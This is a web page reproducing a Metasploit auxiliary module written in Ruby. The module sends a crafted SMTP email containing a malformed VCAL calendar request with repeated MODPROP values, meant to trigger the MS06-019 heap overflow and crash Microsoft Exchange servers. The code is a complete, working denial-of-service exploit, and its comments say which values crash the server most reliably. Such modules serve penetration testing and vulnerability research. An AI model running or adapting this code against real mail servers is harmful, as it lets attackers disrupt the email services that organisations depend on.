Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/dos/windows/smtp/ms06_019_exchange.rb
Views: 11788
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Smtp7include Msf::Auxiliary::Dos89def initialize(info = {})10super(update_info(info,11'Name' => 'MS06-019 Exchange MODPROP Heap Overflow',12'Description' => %q{13This module triggers a heap overflow vulnerability in MS14Exchange that occurs when multiple malformed MODPROP values15occur in a VCAL request.16},17'Author' => [ 'pusscat' ],18'License' => MSF_LICENSE,19'References' =>20[21[ 'BID', '17908'],22[ 'CVE', '2006-0027'],23[ 'MSB', 'MS06-019'],2425],26'DisclosureDate' => '2004-11-12'))2728register_options(29[30OptString.new('SUBJECT', [ true, 'The subject of the e-mail', 're: Your Brains'])31])3233end3435#36# This needs some reworking to use the SMTPDeliver mixin and the Re::MIME class37#38def run3940connect_login4142modprops = ['attendee', 'categories', 'class', 'created', 'description',43'dtstamp', 'duration', 'last-modified',44'location', 'organizer', 'priority', 'recurrence-id', 'sequence',45'status', 'summary', 'transp', 'uid']4647#modprops = ['dtstamp']4849modpropshort = ""50modpropbusted = ""51modnum = rand(3)52531.upto(modnum) {54nextprop = rand(modprops.size)55modpropshort << modprops[nextprop] + ","56modpropbusted << modprops[nextprop].upcase + ":\r\n"57}5859modpropshort = "dtstamp,"60modpropbusted = "DTSTAMP:\r\n"61modnum = modnum + 1 + rand(3)62modproplong = modpropshort631.upto(modnum) {64modproplong << modprops[rand(modprops.size)] + ","65}6667boundary = Rex::Text.rand_text_alphanumeric(8) + "." + Rex::Text.rand_text_alphanumeric(8)686970# Really, the randomization above only crashes /sometimes/ - it's MUCH more71# reliable, and gives crashes in better spots of you use these modprops:7273modpropshort = "dtstamp,"74modproplong = "dtstamp, dtstamp,"75modpropbusted = "DTSTAMP:\r\n"7677mail = "From: #{datastore['MAILFROM']}\r\n"78mail << "To: #{datastore['MAILTO']}\r\n"79mail << "Subject: #{datastore['SUBJECT']}\r\n"80mail << "Content-class: urn:content-classes:calendarmessage\r\n"81mail << "MIME-Version: 1.0\r\n"82mail << "Content-Type: multipart/alternative;boundary=\"#{boundary}\"\r\n"83mail << "X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0\r\n"84mail << "\r\n"85mail << "--#{boundary}\r\n"86mail << "Content-class: urn:content-classes:calendarmessage\r\n"87mail << "Content-Type: text/calendar; method=REQUEST; name=\"meeting.ics\"\r\n"88mail << "Content-Transfer-Encoding: 8bit\r\n"89mail << "\r\n"90mail << "BEGIN:VCALENDAR\r\n"91mail << "BEGIN:VEVENT\r\n"92mail << "X-MICROSOFT-CDO-MODPROPS:#{modpropshort.chop}\r\n"93mail << modpropbusted94mail << "END:VEVENT\r\n"95mail << "BEGIN:VEVENT\r\n"96mail << "X-MICROSOFT-CDO-MODPROPS:#{modproplong.chop}\r\n"97mail << "END:VEVENT\r\n"98mail << "END:VCALENDAR\r\n"99mail << "\r\n--#{boundary}\r\n"100mail << "\r\n.\r\n"101102103print_status("Sending message...")104sock.put(mail)105sock.put("QUIT\r\n")106print "<< " + (sock.get_once || '')107disconnect108end109end110111112